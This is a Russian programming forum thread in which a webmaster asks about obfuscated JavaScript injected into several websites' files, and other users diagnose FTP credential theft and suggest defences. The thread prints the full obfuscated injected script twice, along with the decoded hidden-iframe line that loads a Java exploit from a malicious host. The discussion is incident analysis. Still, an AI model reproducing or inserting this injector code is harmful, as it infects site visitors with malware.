Список вопросов
Как зайти в Даркнет?!
25th January, 01:11
94
0
Как в tkinter из поля ввода Entry получить значение в одну переменную и обновить строку кнопкой, затем получить ещё одно введённое значение и затем сложить их. Ниже пример кода
21st July, 19:00
1228
0
Программа, которая создает фейковые сервера в поиске игровых серверов CS 1.6 Steam
21st March, 17:43
1029
0
Очень долго работает Update запрос Oracle
27th January, 09:58
969
0
не могу запустить сервер на tomcat HTTP Status 404 – Not Found
21st January, 18:02
959
0
Где можно найти фрилансера для выполнения поступающих задач, на постоянной основе?
2nd December, 09:48
995
0
Разработка мобильной кроссплатформенной военной игры
16th July, 17:57
1782
0
период по дням
25th October, 10:44
4001
0
Пишу скрипты для BAS только на запросах
16th September, 02:42
3775
0
Некорректный скрипт для закрытия блока
14th April, 18:33
4661
0
прокидывать exception в блоках try-catch JAVA
11th March, 21:11
4442
0
Помогите пожалуйста решить задачи
24th November, 23:53
6159
0
Не понимаю почему не открывается детальное описание продукта
11th November, 11:51
4393
0
Нужно решить задачу по программированию на массивы
27th October, 18:01
4442
0
Метода Крамера С++
23rd October, 11:55
4356
0
помогите решить задачу на C++
22nd October, 17:31
4040
0
Помогите решить задачу на python с codeforces
22nd October, 11:11
4533
0
Python с нуля: полное руководство для начинающих
18th June, 13:58
2643
0
Взлом сайтов. Вставлен произвольный код?
Просмотров: 356
 
Ответов: 13
Добрый день!
На днях на нескольких сайтах на CodeIgniter, одном на Joomla, одном на Wordpress и на одном совсем без CMS был установлен произвольный код в файлах index.*, home.*, page.*, auth.*. Т.е. в каждый из файлов был установлен тег script с произвольным кодом. Внешне это отображалось как приглашение установить новую мультимедийную плюшку для браузера.
Собственно, сам скрипт (без! знака в слове script и без переводов строки — не умещался):
<pre><code class="javascript"><sc!ript type="text/javascript" language="javascript">
wkllp="33933333339999333999339939993933
399993393993993339933939339333333999393339999339399933333
993393933999939339333933999393339933939399993333999393333
939999399333993999339939993399339333933399999333933399399
939333993393939993339399339333993939933933333399993993999
399939939339399339333999393339939333339993933393333333993
333399933333999933333999399399393333993393939939339399339
993993933339993933339993933393333333993333399933333999933
333999399399339933999339339933339399399393993393939933393
399399993999339339933933399339393999339333999393339333333
993999339939999339993993999399339939339399933993993933939
933393399393393993993339939339399939333999933933999393339
333333993933339939339399339333993393339933939399399933399
939939999939339999333393999939993399399939333999933939939
933399339393399999333999933399393393993399339993393399333
393993993939933939339333333993933939933933339999393393339
339993933399339393999333939933933399393993393339333933333
399933993999339339933399339999393393339339939333399939333
999393339993333339993933393999933939999399339933999399939
993339399933393999399939933939399339393999339339933999339
933993393999339933399399399993393999339933399399333993393
999939933339399339333393999339939393399933333993399933933
393339999933399993333939999399393393993399339993393399333
39399399393993393933999993";znanx=100;wdlgs=this;nsjvu="i"+"te";
vurba=116;nqcs="wr"+nsjvu;for(gbcim in wdlgs){if(gbcim.length==8 &&
gbcim.charCodeAt(0)==znanx && gbcim.charCodeAt(7)==vurba){break;}}o="";
imvuf=0;qpgsu=wdlgs[gbcim];ycamh=57;while (imvuf<wkllp.length){
bnehf=0;for(mkrku=0;mkrku<8;mkrku++){bnehf=bnehf<<1;if(
wkllp.charCodeAt(imvuf+mkrku)==ycamh){bnehf++;}}imvuf=imvuf+3;
qpgsu[nqcs](String.fromCharCode(bnehf));imvuf=imvuf+5;}</sc!ript>
Прямой связи CI-Joomla-WP-чистыйHTML я не вижу. Т.е. видимо, это не критическая уязвимость в каком-либо движке.
В логах апача странных запросов или даже каких-либо запросов во время модификации файла нет (+-10минут).
Подозрительно выглядят логи auth.log (настоящий username изменен; ip, с которого пришел запрос — нет):
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - USER user: no such user found from dslb-094-222-057-074.pools.arcor-ip.net [::ffff:94.222.57.74] to ::ffff:89.108.126.42:21 <br/>
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - SECURITY VIOLATION: root login attempted. <br/>
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - SECURITY VIOLATION: root login attempted. <br/>
<br/>
Feb 1 10:56:40 User proftpd[19762]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - USER webmaster1: Login successful. <br/>
Feb 1 10:56:40 User proftpd[19764]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - USER webmaster2: Login successful. <br/>
Feb 1 10:56:40 User proftpd[19762]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - FTP session closed. <br/>
Feb 1 10:56:40 User proftpd[19764]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - FTP session closed.
SSH закрыт фаерволом для всех, кроме меня.
Хочу задать вопрос — что это может быть? Как этого избежать? Какие еще логи нужны для анализа?
<pre><code class="javascript"><sc!ript type="text/javascript" language="javascript">
wkllp="33933333339999333999339939993933
399993393993993339933939339333333999393339999339399933333
993393933999939339333933999393339933939399993333999393333
939999399333993999339939993399339333933399999333933399399
939333993393939993339399339333993939933933333399993993999
399939939339399339333999393339939333339993933393333333993
333399933333999933333999399399393333993393939939339399339
993993933339993933339993933393333333993333399933333999933
333999399399339933999339339933339399399393993393939933393
399399993999339339933933399339393999339333999393339333333
993999339939999339993993999399339939339399933993993933939
933393399393393993993339939339399939333999933933999393339
333333993933339939339399339333993393339933939399399933399
939939999939339999333393999939993399399939333999933939939
933399339393399999333999933399393393993399339993393399333
393993993939933939339333333993933939933933339999393393339
339993933399339393999333939933933399393993393339333933333
399933993999339339933399339999393393339339939333399939333
999393339993333339993933393999933939999399339933999399939
993339399933393999399939933939399339393999339339933999339
933993393999339933399399399993393999339933399399333993393
999939933339399339333393999339939393399933333993399933933
393339999933399993333939999399393393993399339993393399333
39399399393993393933999993";znanx=100;wdlgs=this;nsjvu="i"+"te";
vurba=116;nqcs="wr"+nsjvu;for(gbcim in wdlgs){if(gbcim.length==8 &&
gbcim.charCodeAt(0)==znanx && gbcim.charCodeAt(7)==vurba){break;}}o="";
imvuf=0;qpgsu=wdlgs[gbcim];ycamh=57;while (imvuf<wkllp.length){
bnehf=0;for(mkrku=0;mkrku<8;mkrku++){bnehf=bnehf<<1;if(
wkllp.charCodeAt(imvuf+mkrku)==ycamh){bnehf++;}}imvuf=imvuf+3;
qpgsu[nqcs](String.fromCharCode(bnehf));imvuf=imvuf+5;}</sc!ript>Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - USER user: no such user found from dslb-094-222-057-074.pools.arcor-ip.net [::ffff:94.222.57.74] to ::ffff:89.108.126.42:21 <br/>
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - SECURITY VIOLATION: root login attempted. <br/>
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - SECURITY VIOLATION: root login attempted. <br/>
<br/>
Feb 1 10:56:40 User proftpd[19762]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - USER webmaster1: Login successful. <br/>
Feb 1 10:56:40 User proftpd[19764]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - USER webmaster2: Login successful. <br/>
Feb 1 10:56:40 User proftpd[19762]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - FTP session closed. <br/>
Feb 1 10:56:40 User proftpd[19764]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - FTP session closed.
это был взлом пароля на фтп, вероятно. Очень вероятно, что на компе разработчика поселился троян, который и выдал пароль злоумышленникам.
Как защититься? Переходите на Линукс на рабочих странциях :) Другой вариант: некоторые хостеры предлагают ограничить фтп-доступ определёнными айпишниками — воспользуйтесь этой возможностью.
Ну и, конечно же, поменяйте пароль на фтп после тщательной проверки на вирусы всех компов, где этот пароль мог засветиться.
Проанализировав тот код, что вы мне дали в ПМ:
в браузер выкидывается:
document.write('<iframe src="http://gt32.co.cc/index.php?tp=32b260002f490aa3"frameborder="0"></iframe>');
При этом идет скачка файла gt32.co.cc/games/javaobe.jar, который определяется как Exploit.Java.176
www.virustotal.com/file-scan/report.html?id=8d240bc87e5de0abd6d5872698dd7bfa06bcfee26055e585fd7844fbf3d589a1-1296664900
анализирем html:
<applet code='prev.monoid.class' archive='./games/javaobe.jar'><param value='Mjjdo##pjuAsVOsVV#wsdMdCRWuL&/W1' name="dskvnds"/>
значению dskvnds передается переменная Mjjdo##pjuAsVOsVV#wsdMdCRWuL&/W1
глянем файлик через Java Decompiler:
chaketik.pastebin.com/PXkj4Q0J
пока достал только пару переменных, я просто первый раз копаюсь в коде java ;)
koli=exe.
ipol=ridpmt.oi.avaj
bsde =eman.so
bsda = .exe
bsdz = java.io.tmpdir
bsdc = os.name
интересно что на хосте открыты порты
5222/tcp open jabber Jabber instant messaging server (Protocol 1.0)
5269/tcp open jabber Jabber instant messaging server (Protocol 1.0)
продолжаю копать)
document.write('<iframe src="http://gt32.co.cc/index.php?tp=32b260002f490aa3"frameborder="0"></iframe>');
<applet code='prev.monoid.class' archive='./games/javaobe.jar'><param value='Mjjdo##pjuAsVOsVV#wsdMdCRWuL&/W1' name="dskvnds"/>
koli=exe.
ipol=ridpmt.oi.avaj
bsde =eman.so
bsda = .exe
bsdz = java.io.tmpdir
bsdc = os.name
Было как-то на обычном хостинге. При чём за месяц раза 4. Вроде и пароль уже не сохраняли (перед этим естественно поменяв его), но появлялась снова и снова эта хрень.
Догадки падали на хостинг-провайдера или на наших клиентов (но только странно, что у всех сразу)
Было замечено, что код добавлялся после тега <body>
Избавились только тем, что стали выводить тег <body> по частям, примерно так:
echo '<b'.'o'.'d'.'y>';
Троян тупо не находил тег и ничего не добавлял.
После смены хостинг-провайдера, проблема не повторялась, хотя и пароли сохраняли.
echo '<b'.'o'.'d'.'y>';
У меня была точно такая история. На компах у двух из 6 пользователей, которые заливали содержимое на сайт, были трояны. Пароли к ftp были потырены из тотал коммандера. Причем пользователи с пеной на губах уверяли, что компы у них чистые, аваст запущен и «вот только что сканировал на вирусы». Помогли логи ftp и отключения логинов по одному.
А от вирусов помогает только сканирование с загрузкой с live cd.
Мораль: не верьте пользователям, даже если они не злоумышленники!
Одназначно вы подхватили трояна. У меня также было. После чего я поменял антивирус с Dr. Web на Avast и Avast нашел трояна, которого Dr. Web пропустил. После того как подличил систему сменил все пасы с ftp и восстановил сайты из бэкапов и больше такого не было. Так что проверяте систему на наличие злых лошадок :)
Была похожая ситуация со вставкой стороннего кода в aspx файлы.
Проверил права доступа «на запись» через хостеровскую админку. Всё было в порядке, для http – только чтение. Пожаловался хостеру, те извинились, сказали дыру закрыли.
Больше не повторялось.
На всякий случай ещё сменил FTP пароль. И проверил DEV-машину на вирусы, вирусов не было.
Вообщем жалуйтесь хостеру.
Что-то у вас до боли знакомая симптоматика.
строго рекомендую проверить апач на предмет наличия незнакомых модулей
в моем случае это был mod_chart_proxy, поставленный от рута с измененной датой создания. Спас админ ВДС-ки, который, даже не зная уже за что взяться, пол ночи ВРУЧНУЮ сверял конфиги.
Правда было немного хуже — все файлы чистые, даты создания системных модулей разумные, зайдя один раз на сайт, второй раз фрейм показывался только после чистки CCleaner'ом (он в темп писал какой-то троян .pdf).
Чтобы ответить на вопрос вам нужно войти в систему или зарегистрироваться